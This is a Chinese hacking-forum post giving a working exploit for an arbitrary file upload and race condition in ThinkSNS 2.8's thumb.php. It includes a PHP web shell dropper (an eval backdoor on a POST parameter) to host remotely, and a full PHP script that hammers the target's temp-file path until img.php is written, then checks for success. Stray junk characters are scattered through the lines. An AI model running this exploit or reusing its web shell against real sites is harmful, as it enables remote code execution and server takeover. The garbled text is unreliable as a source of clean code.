找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2140|回复: 0
打印 上一主题 下一主题

Thinksns2.8文件上传漏洞利用exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-4 16:12:23 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞版本; s  D' O  \5 V( ]
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)
1 E. F! P2 M/ M% S. @- w( Y! j漏洞文件1 W' A5 c+ y& r8 \# V
存在漏洞的文件为:thumb.php
  r  l8 [' L0 {# R' C作者:韦鲲鹏/ X; `& m5 z9 g' J; N* T
1、        准备如下PHP文件并上传到服务器(自己的)。1 S+ i/ [( w2 ^) ^' s
文件内容如下:# T& y/ z% e: @' m$ u4 b
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
8 M0 t* G" R. T2、        计算出临时的文件名:
+ P' w2 I8 v* J* w  S4 B" h) L这里我们可以看文件的99行(刚刚是不是没注意呀!)。
' }* I9 I+ Q/ \8 `& w1 ]& ?/ f
6 r6 f; \! l* S, C3、        上传临时文件。+ I( [# x3 f  _$ `- J
4、        访问临时文件。
4 V4 P  U9 i/ f& w; o5 y. W但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
' B9 Q+ S: f3 S: b$ j# d% {Exploit文件内容如下:(这个我就不详细解释了)
, [  V- m" |% g/ B: w7 _5 Y<?php
/ D3 I+ C7 }" U' Yerror_reporting(0);
, s* n  Y6 C% |# J; S( L% Aset_time_limit(0);+ i9 \$ j- G* B
ini_set(“default_socket_timeout”, 5);
" r, w- g) o8 N" Kfunction http_send($host, $port, $headers) {
; m, O, u! B: r7 t$fp = fsockopen($host, $port);$ _0 g6 _9 O3 K  g1 q' ~. M/ w8 n! j
if (!$fp) die(‘Connection -> fail’);" O6 v# y& W7 f# S% w
fputs($fp, $headers);/ ?8 Z: [! I; e* u1 Q+ v
return $fp;9 }' @) g* g; k
}: e5 P$ J4 Z/ |3 ~
function http_recv($fp) {
% X8 O6 U+ P" D' N  X1 g( V$ret=”";
; q5 Y: s+ T5 V' [while (!feof($fp))
* s3 b) E, R, J$ret.= fgets($fp, 1024);
1 W2 g9 g) x9 Ofclose($fp);
) V4 g- z5 |: freturn $ret;! f  g0 G2 L0 |* R, _4 u, O
}7 u' `; A( L4 q. E7 ^& r2 A
print “\n#  ThinkSns Arbitrary File Upload   #\n”;% ], E3 T2 w1 Y. m6 d
print “# Discovered by 韦鲲鹏 #\n\n”;  O8 }( E4 M* X' _4 N; M9 t+ Z
if ($argc < 4) {
# k% c8 u' u+ V+ ?4 }8 k* aprint “Usage:   php <host> <path> <romote_url>\n”;
9 @1 g- e7 n7 u! D  _& g  h. hprint “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
' W% Y5 _. J( w, {die();
  K! X* ^6 i- l2 Y" N" c$ B7 L}
6 P6 J4 i% f! d0 `$host = $argv[1];( \# @5 c# R; [& S2 ?: n. Y
$path = $argv[2];
* |" Q6 X/ x9 [$url = $argv[3];) D; I- M# x% s- V7 X" }, A! f
$i=0;: j2 I* r7 I8 V4 k% f* G
//上传数据包
1 j2 b2 P- y6 h3 [. J% ^3 @$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;, [% p. E8 r1 G1 o
$headers_up .= “Host: “.$host.”\r\n”;
) t' _8 q9 K; W# b$ a9 E$headers_up .= “Connection: close\r\n\r\n”;! ?, b: k$ A4 _& G8 @
echo $headers_up;. p) r) K" u7 Y1 N" K; q
//临时文件访问数据包
$ B7 m+ c8 C1 S: k$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;3 ^3 u3 R! P6 R7 b7 G
$headers .= “Host: “.$host.”\r\n”;
( _& q; t; q6 m6 \4 D$headers .= “Connection: close\r\n\r\n”;6 r( j0 [9 Q8 X. p, T& p
echo $headers;
+ z, [: I. `) e  }while(++$i<10) {0 o! j* q8 t/ U. k. v2 o
fclose(http_send($host, 80, $headers));" r5 D) {& O4 ~2 r( q$ D# n' Y1 x
}4 n& E6 Z+ {) [! v
fclose(http_send($host, 80, $headers_up));
7 ?  [  [2 S% F& n$ Y0 |( v( x) ewhile(++$i<50) {
, U, {6 w' l; I. U& G' o2 Pfclose(http_send($host, 80, $headers));4 O7 m/ g" t& i
}  T% w3 J! d% F& G
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
! b/ P8 i. b4 m$ n4 W$headers .= “Host: “.$host.”\r\n”;& r; I4 Q, a! c- w; Y. N5 `# ~
$headers .= “Connection: close\r\n\r\n”;
# ~7 K) |6 W# z! q) {$res=http_recv(http_send($host, 80, $headers));6 I! Q0 L7 |% i0 q6 E; u
if(preg_match(‘/200 OK/’,$res)) {- R6 v* ?" }. p* _3 p
print “Success!\n\n”;9 h9 ~' k0 T* n2 ^: S& i% h
} else {
6 y$ y: s% r2 R" ]" D/ V: e3 kprint “Fail!\n\n”;
# e, l# a, V( P" y2 b}7 i8 w2 ~5 q5 d3 I
?>; q" v4 T; O, S, c( C
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表